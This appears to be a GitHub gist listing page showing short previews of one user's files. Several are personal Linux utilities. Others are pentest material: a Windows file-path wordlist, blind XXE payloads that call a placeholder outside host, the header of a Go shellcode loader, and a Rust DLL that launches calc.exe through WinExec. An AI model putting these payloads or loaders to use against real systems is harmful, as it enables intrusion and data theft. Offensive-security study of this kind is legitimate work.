View battery_monitor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/sbin/openrc-run | |
# to install: cargo install --git https://git.sr.ht/~deadjakk/batt-monitor | |
name="battery_monitor" | |
description="auto shutoff at 20% battery to prevent data loss" | |
command_user="root:root" | |
pidfile="/run/${RC_SVCNAME}.pid" | |
command="/sbin/battery_monitor" | |
command_args="-c /usr/sbin/hibernate-ram" | |
command_background=true |
View remarkable-downloader.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# @deadjakk | |
# to use: just plug in remarkable 2 tablet, go to settings > storage > enable web application | |
# then run | |
# python3 ./remarkable-downloader.py # this downloads literally everything as a pdf | |
# alternatively, adding a word as an argument will only download files with that word in the name | |
# python3 ./remarkable-downloader.py "math-notes" # this downloads math-notes.pdf | |
# this could be cleaner... but I no longer use/have a remarkable 2 so I probably won't bother |
View xinitrc-xsession-install.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo installing xinitrc-xsession | |
git clone https://aur.archlinux.org/xinit-xsession.git /tmp/xinit-xsession | |
cd /tmp/xinit-xsession | |
doas cp xinitrcsession-helper /usr/bin/ | |
doas chmod +x /usr/bin/xinitrcsession-helper | |
doas cp xinitrc.desktop /usr/share/xsessions/ |
View windows-files.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
c:/all.txt | |
c:/apache2/log/access_log | |
c:/apache2/log/access.log | |
c:/apache2/log/error_log | |
c:/apache2/log/error.log | |
c:/apache2/logs/access_log | |
c:/apache2/logs/access.log | |
c:/apache2/logs/error_log | |
c:/apache2/logs/error.log | |
c:/apache/log/access_log |
View dwm_status.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Original source: https://raw.githubusercontent.com/kaihendry/dotfiles/master/bin/dwm_status | |
# Network speed stuff stolen from http://linuxclues.blogspot.sg/2009/11/shell-script-show-network-speed.html | |
print_wifi() { | |
ip=$(ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+') | |
if=wlan0 | |
while IFS=$': \t' read -r label value | |
do | |
case $label in SSID) SSID=$value |
View XXE_payloads
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
View encrypted-zfs-home.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "enter username:" | |
read USERNAME | |
echo "enter # of gigabytes the home drive should be, just the number" | |
read SIZE | |
echo "Executing:" "sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G" | |
cd / | |
sudo adduser $USERNAME | |
sudo rm -rf /home/${USERNAME} # removing the home directory it created | |
sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G |
View shellcodeLoader.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Simple Shellcode loader implemented in Golang. | |
// | |
// Compilation: | |
// $ go build -o foo.exe shellcodeLoader.go | |
// | |
// Mariusz B. / mgeeky (@mariuszbit), '20 | |
// <mb@binary-offensive.com> | |
// |
View messagebox.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ( | |
"syscall" | |
"unsafe" | |
) | |
// MessageBox of Win32 API. | |
func MessageBox(hwnd uintptr, caption, title string, flags uint) int { | |
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call( | |
uintptr(hwnd), | |
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))), |
View winexec-lib.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#[link(name="kernel32")] | |
extern "system" { | |
fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32; | |
} | |
#[no_mangle] // needs to precede every function you wish to call from c | |
extern "system" fn DllMain(_: *const u8, _: u32, _: *const u8) -> u32 { | |
let ret = unsafe { | |
WinExec(['c' as u8 , 'a' as u8 ,'l' as u8, 'c' as u8, '.' as u8, 'e' as u8, 'x' as u8 , 'e' as u8, '\0' as u8].as_mut_ptr(), 1); | |
}; |
NewerOlder